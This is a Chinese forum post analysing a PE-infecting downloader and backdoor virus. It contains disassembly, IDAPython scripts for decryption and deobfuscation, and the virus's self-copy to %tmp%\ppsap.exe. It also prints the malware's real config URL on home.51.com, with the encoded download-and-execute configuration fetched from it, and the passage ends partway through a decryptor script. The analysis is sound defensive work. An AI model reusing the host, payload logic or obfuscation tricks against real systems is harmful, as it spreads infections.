好友
阅读权限 20
听众
最后登录 1970-1-1
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 yuansunxue 于 2012-5-3 01:18 编辑
这个是我搞病毒分析 以来遇到的相对来说功能比较齐全的病毒,有感染pe文件,有下载执行,有后门功能等。
这个病毒是会感染pe文件的 调试的时候要小心 不过不联网的话 应该不会感染 因为其感染是受网络控制的
入口:00406F88 >/[ DISCUZ_CODE_528 ]nbsp; 55 push ebp
00406F89 |. 8BEC mov ebp, esp
00406F8B |. 53 push ebx
00406F8C |. 51 push ecx
00406F8D |. E8 04000000 call 00406F96
00406F92 |. 92 xchg eax, edx
00406F93 |. 5F pop edi
00406F94 |. 0000 add byte ptr [eax], al
00406F96 |[ DISCUZ_CODE_528 ]nbsp; 5B pop ebx
00406F97 |. 2B1B sub ebx, dword ptr [ebx] ;这里ebx = 401000
00406F99 |. 8B03 mov eax, dword ptr [ebx]
00406F9B |. B9 06610000 mov ecx, 6106
00406FA0 |> 83F9 04 /cmp ecx, 4
00406FA3 |. 72 1A |jb short 00406FBF
00406FA5 |. 81F9 82010000 |cmp ecx, 182
00406FAB |. 73 08 |jnb short 00406FB5
00406FAD |. 81F9 3C010000 |cmp ecx, 13C
00406FB3 |. 77 02 |ja short 00406FB7
00406FB5 |> 3103 |xor dword ptr [ebx], eax
00406FB7 |> 83C3 04 |add ebx, 4
00406FBA |. 83E9 04 |sub ecx, 4
00406FBD |.^ EB E1 \jmp short 00406FA0
00406FBF |> E8 33010000 call 004070F7
发现代码是加密的,解密过程很简单,写个IDA python来解密下:def decrypt_main_exe(startva = 0x401000):
eax = Dword(startva)
#alreay decrypted?
if eax ==0:
return
counter = 0x6106
while True:
if counter < 4:
break
if (counter > 0x13c) and (counter<0x182):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword(startva)
dword_value = dword_value ^ eax
PatchDword(startva,dword_value)
startva = startva + 4
counter = counter -4
走进 004070f7 .text:004070F7 key_call proc near ; CODE XREF: .text:loc_406FBFp
.text:004070F7 call GetFuncsAddress
.text:004070FC test eax, eax
.text:004070FE jz short locret_407105
.text:00407100
.text:00407100 loc_407100:
.text:00407100 call sub_406FCA
.text:00407105
.text:00407105 locret_407105: ; CODE XREF: key_call+7j
.text:00407105 retn
004070f7的call 在ida中直接去大致浏览一下,发现只是获取一些api地址
但是其中用到了一些小技巧来影响我们的反汇编分析
1、获取api地址的时候,比较api地址的前一个字节是否是90 如果是90 则api地址减一,
造成od无法正确的现实api调用。直接ctrl + b 搜索二进制 8038907401 nop掉即可。00401325 48 dec eax
00401326 8038 90 cmp byte ptr [eax], 90
00401329 74 01 je short 0040132C
0040132B 40 inc eax
获取的api地址为:00401014 7C80AC28 kernel32.GetProcAddress
00401018 7C801D77 kernel32.LoadLibraryA
0040101C 7C80EB3F kernel32.CreateMutexA
00401020 7C910331 ntdll.RtlGetLastWin32Error
00401024 7C809B77 kernel32.CloseHandle
00401028 7C86114D kernel32.WinExec
0040102C 7C812851 kernel32.GetVersionExA
00401030 7C90311B ntdll.RtlZeroMemory
00401034 7C80C729 kernel32.lstrcpyA
00401038 7C838FB9 kernel32.lstrcatA
0040103C 7C80C6E0 kernel32.lstrlenA
00401040 7C8397A1 kernel32.GetCurrentDirectoryA
00401044 7C80B357 kernel32.GetModuleFileNameA
00401048 7C81082F kernel32.CreateThread
0040104C 7C830053 kernel32.CopyFileA
00401050 7C8221CF kernel32.GetTempPathA
00401054 7C8681F6 kernel32.GetLongPathNameA
00401058 7C81174C kernel32.GetFileAttributesA
写个idapython脚本来对地址进行标记一下:#encoding=utf-8
#指定iat文件路径,内容是从od里拷出来的
iatfile=r"C:\IDA\idc\py\iat.txt"
def main():
diclist = dict()
hfile = file(iatfile,'r')
for line in hfile.readlines( ):
if len(line)>0x10:
address = long(line[0:8],16)
funcname = line.split('.')
if len(funcname) == 2:
name = funcname[1]
#去掉名字后面的换行或者空格
got_name = name[:-1]
diclist[got_name] = address
sorted_dic = map(lambda x:(x[0], x[1]), diclist.items())
for funcname,address in sorted_dic:
address=address & 0xFFFFFFFF
MakeDword(address)
MakeName(address,funcname)
print "address %08x,funcname %s" % (address,funcname)
if __name__ == "__main__":
print "label start"
main()
print "finished"
2、 一些指令变形
0040132C E8 04000000 call 00401335
00401331 1D 0300005B sbb eax, 5B000003
00401336 2B1B sub ebx, dword ptr [ebx]
上面的这几条是变形指令,直接go到00401335可以看到:
0040132C E8 04000000 call 00401335
00401335 5B pop ebx
00401336 2B1B sub ebx, dword ptr [ebx]
上面的三步指令相当于
.text:00401333 mov ebx, 0x401014
其中ebx可以是其他的寄存器,不过在分析过程中只遇到过eax,ebx,edi,esi
类似的变形指令还有
0040127A E8 04000000 call 00401283
00401283 58 pop eax ; Copy_of_.0040127F
00401284 2B00 sub eax, dword ptr [eax]
00401286 FF10 call dword ptr [eax]
实际为:
00401282 FF15 18104000 call dword ptr [401018] ; kernel32.LoadLibraryA
写个idaPython脚本来清理下变形代码:
#encoding=utf-8
def main(startva = 0x401000):
FixSegStart = SegStart(startva)
FixSegEnd = SegEnd(startva)
#print "segstart:%08x segend:%08x" % (FixSegStart,FixSegEnd)
for i in range(FixSegStart, FixSegEnd):
curva = i
if Byte(curva) == 0xe8 and Dword(curva+1) == 0x4:
#定位到call下面的地址
curva = curva + 5
offset = Dword(curva)
#print "offset is %08x" % offset
#if (curva-offset) < FixSegStart:
# print "%08x error" % curva
# continue
call_dest_addr = curva - offset
#print "call_dest_addr is %08x" % call_dest_addr
if Byte(curva+4) == 0x58 and Dword(curva+5) == 0x10ff002b:
print "curva is %08x" % curva
#开始patch代码
PatchByte(curva-5,0x90)
PatchDword(curva-4,0x90909090)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva-5)
PatchByte(curva,0x90)
PatchByte(curva+1,0x90)
PatchByte(curva+2,0x90)
PatchWord(curva+3,0x15ff)
PatchDword(curva+5,call_dest_addr)
MakeCode(curva-5)
MakeCode(curva+1)
MakeCode(curva+2)
MakeUnknown(curva+3,0x6,0)
HideArea(curva-5, curva + 3, "nop code", "----------", "----------", 0xa0a0a0)
MakeCode(curva+3)
'''
.text:004047E3 E8 04 00 00 00 call loc_4047EC
.text:004047E3 ; ---------------------------------------------------------------------------
.text:004047E8 B3 00 00 00 dd 0B3h
.text:004047EC ; ---------------------------------------------------------------------------
.text:004047EC
.text:004047EC loc_4047EC: ; CODE XREF: .text:004047E3p
.text:004047EC 58 pop eax
.text:004047ED 2B 00 sub eax, [eax]
.text:004047EF 8B 4D 08 mov ecx, [ebp+8]
相当于mov eax,xxx
'''
elif Byte(curva+4) == 0x58 and Word(curva+5) == 0x002b and Word(curva+7) != 0x10ff:
#获取mov的值
pop_eax = curva
dword_eax = Dword(pop_eax)
moved_value = pop_eax - dword_eax
print "moved_value is % 08x" % moved_value
moved_value = moved_value & 0xffffffff
#开始修改代码
PatchByte(curva+2,0xb8)
PatchDword(curva+3,moved_value)
#nop掉之前的代码
PatchDword(curva-5,0x90909090)
PatchWord(curva-1,0x9090)
PatchByte(curva+1,0x90)
#让ida认为这是代码
MakeUnknown(curva-5,0xc,0)
MakeCode(curva-5)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva+1)
MakeCode(curva+2)
HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
'''
.text:00404914 E8 04 00 00 00 call loc_40491D
.text:00404914 ; ---------------------------------------------------------------------------
.text:00404919 D0 01 00 00 dd 1D0h
.text:0040491D ; ---------------------------------------------------------------------------
.text:0040491D
.text:0040491D loc_40491D: ; CODE XREF: .text:00404914p
.text:0040491D 5B pop ebx
.text:0040491E 2B 1B sub ebx, [ebx]
'''
elif Byte(curva+4) == 0x5b and Word(curva+5) == 0x1b2b and Word(curva+7) != 0xd3ff:
#获取mov的值
pop_ebx = curva
dword_ebx = Dword(pop_ebx)
moved_value = pop_ebx - dword_ebx
#开始修改代码
PatchByte(curva+2,0xbb)
PatchDword(curva+3,moved_value)
#nop掉之前的代码
PatchDword(curva-5,0x90909090)
PatchWord(curva-1,0x9090)
PatchByte(curva+1,0x90)
#让ida认为这是代码
MakeUnknown(curva-5,0xc,0)
MakeCode(curva-5)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva+1)
MakeCode(curva+2)
HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
'''
.text:00405E46 E8 04 00 00 00 call loc_405E4F
.text:00405E46 ; ---------------------------------------------------------------------------
.text:00405E4B FB 45 00 00 dd 45FBh
.text:00405E4F ; ---------------------------------------------------------------------------
.text:00405E4F
.text:00405E4F loc_405E4F: ; CODE XREF: net_activity:loc_405E46p
.text:00405E4F 5F pop edi
.text:00405E50 2B 3F sub edi, [edi] ; 00401850
'''
elif Byte(curva+4) == 0x5f and Word(curva+5) == 0x3f2b and Word(curva+7) != 0xd7ff:
#获取mov的值
pop_edi = curva
dword_edi = Dword(pop_edi)
moved_value = pop_edi - dword_edi
#开始修改代码
PatchByte(curva+2,0xbf)
PatchDword(curva+3,moved_value)
#nop掉之前的代码
PatchDword(curva-5,0x90909090)
PatchWord(curva-1,0x9090)
PatchByte(curva+1,0x90)
#让ida认为这是代码
MakeUnknown(curva-5,0xc,0)
MakeCode(curva-5)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva+1)
MakeCode(curva+2)
HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
'''
.text:00402664 E8 04 00 00 00 call loc_40266D
.text:00402664 ; ---------------------------------------------------------------------------
.text:00402669 69 16 00 00 dd 1669h
.text:0040266D ; ---------------------------------------------------------------------------
.text:0040266D
.text:0040266D loc_40266D: ; CODE XREF: Infect_EXE_dll+540j
.text:0040266D 5E pop esi
.text:0040266E 2B 36 sub esi, [esi]
'''
elif Byte(curva+4) == 0x5e and Word(curva+5) == 0x362b and Word(curva+7) != 0xd6ff:
#获取mov的值
pop_esi = curva
dword_esi = Dword(pop_esi)
moved_value = pop_esi - dword_esi
#开始修改代码
PatchByte(curva+2,0xbe)
PatchDword(curva+3,moved_value)
#nop掉之前的代码
PatchDword(curva-5,0x90909090)
PatchWord(curva-1,0x9090)
PatchByte(curva+1,0x90)
#让ida认为这是代码
MakeUnknown(curva-5,0xc,0)
MakeCode(curva-5)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva+1)
MakeCode(curva+2)
HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
if __name__ == "__main__":
print "---------------------\nFix Start..."
#fix_call_dword()
main()
print "finished"
现在代码都清理干净了,用ida静态分析即可,有必要可以用od动态调试下,
程序首先会对运行路径以及是否已经有病毒在运行进行一下判断,满足条件才运行病毒代码:
.text:00406FCA sub_406FCA proc near ; CODE XREF: key_call:loc_407100p
.text:00406FCA
.text:00406FCA var_7FF7B = byte ptr -7FF7Bh
.text:00406FCA tmp_path = byte ptr -800h
.text:00406FCA filepath = byte ptr -400h
.text:00406FCA
.text:00406FCA push ebp
.text:00406FCB mov ebp, esp
.text:00406FCD add esp, -800h
.text:00406FD3 push 400h ; nSize
.text:00406FD8 lea eax, [ebp+filepath]
.text:00406FDE push eax ; lpFilename
.text:00406FDF push 0 ; hModule
.text:00406FE1 ; nop code
.text:00406FE9 ; ---------------------------------------------------------------------------
.text:00406FE9 call GetModuleFileNameA
.text:00406FEF push 400h ; cchBuffer
.text:00406FF4 lea eax, [ebp+filepath]
.text:00406FFA push eax ; lpszLongPath
.text:00406FFB push eax ; lpszShortPath
.text:00406FFC ; nop code
.text:00407004 call GetLongPathNameA
.text:0040700A lea eax, [ebp+tmp_path]
.text:00407010 push eax ; lpBuffer
.text:00407011 push 400h ; nBufferLength
.text:00407016 ; nop code
.text:0040701E ; ---------------------------------------------------------------------------
.text:0040701E call GetTempPathA
.text:00407024 push 400h ; cchBuffer
.text:00407029 lea eax, [ebp+tmp_path]
.text:0040702F push eax ; lpszLongPath
.text:00407030 push eax ; lpszShortPath
.text:00407031 ; nop code
.text:00407039 ; ---------------------------------------------------------------------------
.text:00407039 call GetLongPathNameA
.text:0040703F lea eax, [ebp+tmp_path]
.text:00407045 push eax ; lpString
.text:00407046 ; nop code
.text:0040704E ; ---------------------------------------------------------------------------
.text:0040704E call lstrlenA
.text:00407054 mov ecx, eax
.text:00407056 lea esi, [ebp+tmp_path]
.text:0040705C lea edi, [ebp+filepath]
.text:00407062
.text:00407062 @compare: ; CODE XREF: sub_406FCA+ACj
.text:00407062 test ecx, ecx
.text:00407064 jz short @equal
.text:00407066 mov al, [esi]
.text:00407068 mov ah, [edi]
.text:0040706A or eax, 2020h
.text:0040706F xor al, ah
.text:00407071 jnz short loc_40708A
.text:00407073 inc esi
.text:00407074 inc edi
.text:00407075 dec ecx
.text:00407076 jmp short @compare
.text:00407078 ; ---------------------------------------------------------------------------
判断程序是否在%tmp%在启动的 如果是 则来到这里 不是则跳到0040708a
.text:00407078
.text:00407078 @equal: ; CODE XREF: sub_406FCA+9Aj
.text:00407078 call @check_mutex 确保只有一个病毒进程在运行
.text:0040707D test eax, eax
.text:0040707F jnz short @ren
.text:00407081 push 0
.text:00407083 call sub_406D4D 运行payload
.text:00407088 jmp short @ren
.text:0040708A ; ---------------------------------------------------------------------------
.text:0040708A
.text:0040708A loc_40708A: ; CODE XREF: sub_406FCA+A7j
.text:0040708A call sub_406D5E 判断病毒启动的目录下是否存在AAA_AAA_AAA_01文件,如果存在则
运行 "explorer.exe C:\Documents and Settings\SRE\Desktop\AAA_AAA_AAA_01"
AAA_AAA_AAA_01是什么呢? 在网上搜了一下,跟极品飞车12的车的修改代码,有关猜测病毒是通过这个传播的
.text:0040708F call @check_mutex
.text:00407094 test eax, eax
.text:00407096 jnz short @ren
.text:00407098 call loc_4070A7
.text:00407098 ; ---------------------------------------------------------------------------
.text:0040709D aPpsap_exe db 'ppsap.exe',0
.text:004070A7 ; ---------------------------------------------------------------------------
.text:004070A7
.text:004070A7 loc_4070A7: ; CODE XREF: sub_406FCA+CEp
.text:004070A7 lea eax, [ebp+tmp_path]
.text:004070AD push eax ; lpString1
.text:004070AE ; nop code
.text:004070B6 ; ---------------------------------------------------------------------------
.text:004070B6 call lstrcatA
拷贝自身到%tmp%\ppsap.exe
.text:004070BC push 0 ; bFailIfExists
.text:004070BE lea eax, [ebp+tmp_path]
.text:004070C4 push eax ; lpNewFileName
.text:004070C5 lea eax, [ebp+filepath]
.text:004070CB push eax ; lpExistingFileName
.text:004070CC ; nop code
.text:004070D4 call CopyFileA
.text:004070DA test eax, eax
.text:004070DC jz short @ren
拷贝成功则运行%tmp%\ppsap.exe
.text:004070DE push 0 ; uCmdShow
.text:004070E0 lea eax, [ebp+tmp_path]
.text:004070E6 push eax ; lpCmdLine
.text:004070E7 ; nop code
.text:004070EF ; ---------------------------------------------------------------------------
.text:004070EF call WinExec
.text:004070F5
.text:004070F5 @ren: ; CODE XREF: sub_406FCA+B5j
.text:004070F5 ; sub_406FCA+BEj ...
.text:004070F5 leave
.text:004070F6 retn
通过上面的代码我们可以看到起主要恶意代码在00406d4d
.text:00406D4D sub_406D4D proc near ; CODE XREF: sub_406FCA+B9p
.text:00406D4D ; DATA XREF: .text:00406EC6o
.text:00406D4D push ebp
.text:00406D4E mov ebp, esp
.text:00406D50
.text:00406D50 loc_406D50:
依然是获取病毒所需的api地址,处理方法同第一次,获取api列表我就不写了
.text:00406D50 call GetFunsAddress_0
.text:00406D55 call @net_activity_start 接下来进行一些网络活动
.text:00406D5A leave
.text:00406D5B retn 4
.text:00406D5B sub_406D4D endp
进入00406d55处的call
.text:00406CB5 @net_activity_start proc near ; CODE XREF: @net_activity_start+92j
.text:00406CB5 ; sub_406D4D+8p
.text:00406CB5 call net_activity
.text:00406CBA test eax, eax
.text:00406CBC jz short loc_406D34
.text:00406CBE push 0 ; protocol
.text:00406CC0 push 2 ; type
.text:00406CC2 push 2 ; af
.text:00406CC4 ; nop code
.text:00406CCC ; ---------------------------------------------------------------------------
.text:00406CCC call socket
.text:00406CD2 ; nop code
.text:00406CD9 mov ebx, offset unk_401860
.text:00406CDE mov [ebx], eax ; dword(00401860) = hsocket
.text:00406CE0 ; nop code
.text:00406CE7 mov eax, 401888h
.text:00406CEC push eax
.text:00406CED ; nop code
.text:00406CF4 mov eax, offset unk_401860
.text:00406CF9 push dword ptr [eax]
.text:00406CFB ; nop code
.text:00406D02 mov eax, offset sub_40512F
.text:00406D07 push eax ; 0040512F
.text:00406D08 call Call_CreateThread
.text:00406D0D call send_data_net_activity
.text:00406D12 ; nop code
.text:00406D19 mov eax, offset unk_401860
.text:00406D1E push dword ptr [eax] ; s
.text:00406D20 mov dword ptr [eax], 0FFFFFFFFh
.text:00406D26 ; nop code
.text:00406D2E ; ---------------------------------------------------------------------------
.text:00406D2E call closesocket
.text:00406D34
.text:00406D34 loc_406D34: ; CODE XREF: @net_activity_start+7j
.text:00406D34 push 1B7740h ; dwMilliseconds
.text:00406D39 ; nop code
.text:00406D41 ; ---------------------------------------------------------------------------
.text:00406D41 call Sleep
.text:00406D47 jmp @net_activity_start
.text:00406D4C ; ---------------------------------------------------------------------------
.text:00406D4C retn
一步步详解其网络行为:
程序首先从http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014下载配置文件,然后进行分析处理获得下载连接,
下载执行
.text:00406775 push ecx
.text:00406776 mov [ebp+need_download_config_data_next_or_not], 0
.text:0040677D push 100000h ; dwBytes
.text:00406782 push 40h ; uFlags
.text:00406784 ; nop code
.text:0040678C call GlobalAlloc
.text:00406792 test eax, eax
.text:00406794 jz @retn
.text:0040679A mov [ebp+config_data_for_backdoor], eax
.text:0040679D
.text:0040679D loc_40679D:
.text:0040679D push 100000h
.text:004067A2 push [ebp+config_data_for_backdoor]
.text:004067A5 call loc_4067EB
.text:004067A5 ; ---------------------------------------------------------------------------
.text:004067AA aHttpHome_51_com?uTe db 'http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014',0
.text:004067EB ; ---------------------------------------------------------------------------
.text:004067EB
.text:004067EB loc_4067EB: ; CODE XREF: net1+39p
.text:004067EB call Read_configdata_from_net
.text:004067F0 test eax, eax
.text:004067F2 jz short @read_fail
.text:004067F4 push eax ; decrypt data size
.text:004067F5
.text:004067F5 loc_4067F5: ; decrypt data
.text:004067F5 push [ebp+config_data_for_backdoor]
.text:004067F8 call Anslysis_config_data_and_download_execute
下载下来的data:
{
window.modData = {"view":{"id":"10049014","gid":"134960","is_top":"0","heart":"","title":"2010-11-20\u7684\u65e5\u8bb0","memo":"<br \/>\r\n########FPAAAAAACGBKEBBAEJHNEEEOEGFFHAGEGBHEGFDADDDADICOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGEEEOEGCOGEGBHEAA<br \/>\r\n<br \/>\r\n########AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br \/>\r\nqq2install<br \/>\r\n########FLAAAAAADGHOEBJKDELLGCGJHCHEGIGHGJGGHECOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGHBHBDCCOGEGPGDAA <br \/>\r\n<br \/>\r\n ","weekday":"1","show_time":"2010-11-20 17:37:00","flower":"0","egg":"0","ping":"0","click":"4236526","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/testdown\/diary\/item\/10049014.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290245878"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"catalog":[{"id":"134960","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/testdown\/diary\/group\/134960","count":"1"},{"id":"134961","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/testdown\/diary\/group\/134961","count":"0"},{"id":"134962","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/testdown\/diary\/group\/134962","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u4f0d\u5148\u751f","face":"http:\/\/p3.u.51img1.com\/39\/31\/267956964_50.gif?v=20120330123104","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"<a href='http:\/\/51vip.51.com\/level\/vipgrade.php' target='_blank'><img src='http:\/\/static.51img1.com\/i\/kf\/viplevel\/vip1.gif?0401' align='absmiddle' border=0 title='\u6210\u957f\u503c 112' style='filter:none;' \/><\/a> ","isconfirm":"1","isopen":"0","user":"267956964","_user":"91628762","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\uff3c\u3002\u88ab\u8fe9\u5ffd\u7565\u3001","face":"http:\/\/p5.u.51img1.com\/55\/d4\/xingfu2025_50.gif?v=20091226161855","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"2","user":"xingfu2025","_user":"xingfu2025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"_ \u7eaf \u3001","face":"http:\/\/pe.u.51img1.com\/eb\/fd\/lovening1025_50.gif?v=20101209174127","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lovening1025","_user":"lovening1025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"nacy","face":"http:\/\/pa.u.51img1.com\/a9\/f3\/a20088823_50.gif?v=20090313220255","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"a20088823","_user":"a20088823","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"14"},"morediary":[],"current":{"gid":"134960","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/testdown\/diary\/group\/134960"}};
}
解密过程:
.text:00401A33 Decrypt_read_data proc near ; CODE XREF: Read_configdata_from_net+19p
.text:00401A33 ; sub_405F62+E7p
.text:00401A33
.text:00401A33 first_dword_after_decrypt= dword ptr -4
.text:00401A33 arg_0_read_data = dword ptr 8
.text:00401A33 arg_4_read_size = dword ptr 0Ch
.text:00401A33
.text:00401A33 push ebp
.text:00401A34 mov ebp, esp
.text:00401A36 add esp, 0FFFFFFFCh
.text:00401A39 push ebx
.text:00401A3A push ecx
.text:00401A3B push edx
.text:00401A3C push edi
.text:00401A3D mov ebx, [ebp+arg_0_read_data]
.text:00401A40 mov ecx, [ebp+arg_4_read_size]
.text:00401A43 sub ecx, 0Ah ; ecx = read_size -8
.text:00401A46
.text:00401A46 @find_loop: ; CODE XREF: Decrypt_read_data+2Aj
.text:00401A46 test ecx, ecx
.text:00401A48 jz short @return_zero
.text:00401A4A cmp dword ptr [ebx], '####'
.text:00401A50 jnz short @next_byte
.text:00401A52 cmp dword ptr [ebx+4], '####'
.text:00401A59 jz short @found_flag ; pass the ######## ebx = found data
.text:00401A5B
.text:00401A5B @next_byte: ; CODE XREF: Decrypt_read_data+1Dj
.text:00401A5B inc ebx
.text:00401A5C dec ecx
.text:00401A5D jmp short @find_loop
.text:00401A5F ; ---------------------------------------------------------------------------
.text:00401A5F
.text:00401A5F @found_flag: ; CODE XREF: Decrypt_read_data+26j
.text:00401A5F add ebx, 8 ; pass the ######## ebx = found data
.text:00401A62 sub ecx, 8 ; ecx = read_size - 8 - found_data_offset -a
.text:00401A62 ; 11d5 for 014
.text:00401A65 mov edi, [ebp+arg_0_read_data]
.text:00401A68 shr ecx, 1 ; 11d5 / 2 = 8ea
.text:00401A6A xor eax, eax
.text:00401A6C
.text:00401A6C @decrypt_loop: ; CODE XREF: Decrypt_read_data+55j
.text:00401A6C test ecx, ecx
.text:00401A6E jz short @decrypt_finished
.text:00401A70 mov ah, [ebx] ; ah = found_data[0]
.text:00401A72 mov al, [ebx+1] ; al = found_data[1]
.text:00401A75 sub eax, 4141h ; eax = eax - 0x4141
.text:00401A7A mov edx, eax ; edx eax - 0x4141
.text:00401A7C shr eax, 4 ; eax = eax >> 4
.text:00401A7F or eax, edx ; eax = (eax - 0x4141 ) | ((eax - 0x4141 )>>4)
.text:00401A81 mov [edi], al ; byte(read_data) = (eax - 0x4141 ) | ((eax - 0x4141 )>>4)
.text:00401A83 add ebx, 2 ; found_data = found_data +2
.text:00401A86 inc edi ; read_data = read_data + 1
.text:00401A87 dec ecx ; ecx --
.text:00401A88 jmp short @decrypt_loop
.text:00401A8A ; ---------------------------------------------------------------------------
.text:00401A8A
.text:00401A8A @decrypt_finished: ; CODE XREF: Decrypt_read_data+3Bj
.text:00401A8A mov ebx, [ebp+arg_0_read_data]
.text:00401A8D mov ecx, [ebx] ; ecx = first_dword_after_decrypt
.text:00401A8F cmp ecx, [ebp+arg_4_read_size]
.text:00401A92 ja short @return_zero
.text:00401A94 mov [ebp+first_dword_after_decrypt], ecx
.text:00401A97 add ebx, 4 ; ebx = read_data + 4
.text:00401A9A movzx edx, word ptr [ebx] ; edx = word(read_data+4)
.text:00401A9D add ebx, 2 ; ebx = read_data + 6
.text:00401AA0 xor eax, eax
.text:00401AA2 mov esi, ebx ; esi ebx = read_data + 6
.text:00401AA4
.text:00401AA4 @add_together: ; CODE XREF: Decrypt_read_data+7Ej
.text:00401AA4 cmp ecx, 4
.text:00401AA7 jb short @add_over
.text:00401AA9 add eax, [esi]
.text:00401AAB add esi, 4
.text:00401AAE sub ecx, 4
.text:00401AB1 jmp short @add_together
.text:00401AB3 ; ---------------------------------------------------------------------------
.text:00401AB3
.text:00401AB3 @add_over: ; CODE XREF: Decrypt_read_data+74j
.text:00401AB3 and eax, 0FFFFh
.text:00401AB8 cmp eax, edx
.text:00401ABA jz short @data_is_right
.text:00401ABC
.text:00401ABC @return_zero: ; CODE XREF: Decrypt_read_data+15j
.text:00401ABC ; Decrypt_read_data+5Fj
.text:00401ABC mov [ebp+first_dword_after_decrypt], 0
.text:00401AC3 jmp short @retn
.text:00401AC5 ; ---------------------------------------------------------------------------
.text:00401AC5
.text:00401AC5 @data_is_right: ; CODE XREF: Decrypt_read_data+87j
.text:00401AC5 mov ecx, [ebp+first_dword_after_decrypt]
.text:00401AC8 mov edi, [ebp+arg_0_read_data]
.text:00401ACB mov esi, edi
.text:00401ACD add esi, 6
.text:00401AD0 rep movsb
.text:00401AD2
.text:00401AD2 @retn: ; CODE XREF: Decrypt_read_data+90j
.text:00401AD2 mov eax, [ebp+first_dword_after_decrypt]
.text:00401AD5 pop edi
.text:00401AD6 pop edx
.text:00401AD7 pop ecx
.text:00401AD8 pop ebx
.text:00401AD9 leave
.text:00401ADA retn 8
.text:00401ADA Decrypt_read_data endp
写个脚本来模拟其解密过程,顺便监控其下载的配置文件,
写个脚本也不用每次都调试,直接运行脚本就可以获取其解密后配置文件:
#
import re, struct, os, sys
def Decrypt_Config(srcData, hOutFile):
currIndex = 0
data_len = len(srcData)
ecx = data_len - 0xa
p = re.compile(r'########(.*)',re.DOTALL)
m = p.search(srcData)
decrypt_data = []
if m:
found_offset = m.start(1)
